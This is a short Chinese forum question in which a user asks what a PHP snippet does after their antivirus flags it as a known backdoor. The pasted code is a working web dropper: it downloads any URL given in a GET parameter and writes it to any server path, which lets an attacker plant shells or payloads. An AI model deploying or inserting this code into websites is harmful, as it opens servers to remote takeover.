有懂这个代码的吗？杀毒软件提示有“已知后门 ”
2024/10/10 22:10:24
- <?phpset_time_limit(0);if(isset($_GET['url']) && isset($_GET['filename'])){ if(httpcopy($_GET['url'], $_GET['filename'])){ echo("Done."); }else{ echo("Down Error."); }}else{ die('Input error.');}function httpcopy($url, $file="", $timeout=60) { $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file; $dir = pathinfo($file,PATHINFO_DIRNAME); !is_dir($dir) && @mkdir($dir,0755,true); $url = str_replace(" ","%20",$url); if(function_exists('curl_init')) { echo "curl "; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $temp = curl_exec($ch); if(@file_put_contents($file, $temp) && !curl_error($ch)) { return $file; } else { return false; } } else { echo "copy "; $opts = array( "http"=>array( "method"=>"GET", "header"=>"", "timeout"=>$timeout) ); $context = stream_context_create($opts); if(@copy($url, $file, $context)) { //$http_response_header return $file; } else { return false; } }}?>